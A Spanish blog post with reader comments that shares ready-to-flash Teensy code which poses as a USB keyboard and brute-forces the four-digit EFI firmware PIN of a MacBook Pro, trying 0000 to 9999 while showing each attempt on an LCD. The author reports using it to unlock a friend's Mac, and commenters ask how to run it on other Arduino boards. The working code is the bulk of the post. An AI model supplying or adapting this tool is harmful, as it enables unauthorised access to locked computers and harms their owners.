miércoles, 19 de noviembre de 2014

Ataque automatizado de fuerza bruta al bloqueo por PIN del EFI de una MacBook Pro (LCD)

Este es un código tomado de http://orvtech.com/atacar-efi-pin-macbook-pro.html y modificado por mí para visualizar en pantalla LCD 16 x 2 el código que se está introduciendo básicamente la Teensy hará el papel de teclado externo que de manera automatizada introducirá las combinaciones de 0000 a 9999 el único problema que tendremos será estar atentos a cuando el Mac logre entrar, para esto recomiendo utilizar una cámara web y dejar grabando el proceso para luego ver que combinación fue la correcta.


El código está listo para montarse al Teensy yo utilice la 3.1 y probé desbloquear un Mac de una amiga y funciono a la perfección.

Dejo unas fotos del proceso que yo lleve acavo y cualquier duda comenten.






#include <usb_keyboard.h>
#include <LiquidCrystal.h>
LiquidCrystal lcd(23, 22, 16, 15, 14, 13);

const int ledPin = 13; // choose the pin for the LED
int counter = 0;
int fakecounter = counter;
char pin[]="xxxx";

void setup() {

  lcd.begin(16, 2);
  lcd.print("CODE INPUT");
  pinMode(ledPin, OUTPUT); // declare LED as output
  delay(10000);
}

void loop(){
  keyboard_modifier_keys = 0;
  if (counter <= 9999){
    delay(8000);
    digitalWrite(ledPin, LOW);
    delay(5500);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    //sending first digit
    Keyboard.press(pin[0]);
    delay(450);
    Keyboard.release(pin[0]);
    delay(420);
    //sending second digit
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    //sending third digit
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    //sending forth digit
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    //sending enter
    Keyboard.press(KEY_ENTER);
    delay(305);
    Keyboard.release(KEY_ENTER);
    lcd.setCursor(0, 1);
    lcd.print(pin[0]);
    lcd.setCursor(1, 1);
    lcd.print(pin[1]);
    lcd.setCursor(2, 1);
    lcd.print(pin[2]);
    lcd.setCursor(3, 1);
    lcd.print(pin[3]);
    
    

  }
  
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
     delay(200);
    }
    delay(6000);
  }
  ++counter;
  fakecounter = counter;
}




5 comentarios:

Unknown dijo...

Hola tengo un problema haber si puedes decirme de que se trata
Veras tengo arduino micro con el código simple metido el que escribe los números
En el text edit escribe perfectamente pero en la pantalla de la efi de un macbook air no. De que podría ser gracias y un saludo mi correo es luis7777@gmail.com

Unknown dijo...

Hola tengo un problema haber si puedes decirme de que se trata
Veras tengo arduino micro con el código simple metido el que escribe los números
En el text edit escribe perfectamente pero en la pantalla de la efi de un macbook air no. De que podría ser gracias y un saludo mi correo es luis7777@gmail.com

Ivan Mendoza dijo...

Hola que tal, lo que ocurre es que Arduino Micro no tiene la posibilidad de funcionar como un dispositvo HID de forma nativa, para poder hacer lo mostrado en este post debes utilizar una tarjeta Teensy 3.1 dicha tarjeta permite simular un teclado.

Tu arduino simplemente esta enviando los datos por serie por eso los puedes ver en el terminal pero en arduino no tiene efecto.

Norman dijo...

hola estimado sera que podes facilitarme el codigo arduino para que sirva la pantalla para el conteo.

Rodrigo Marcelo dijo...

Hola se podria usar este codigo en una placa de arduino leonardo?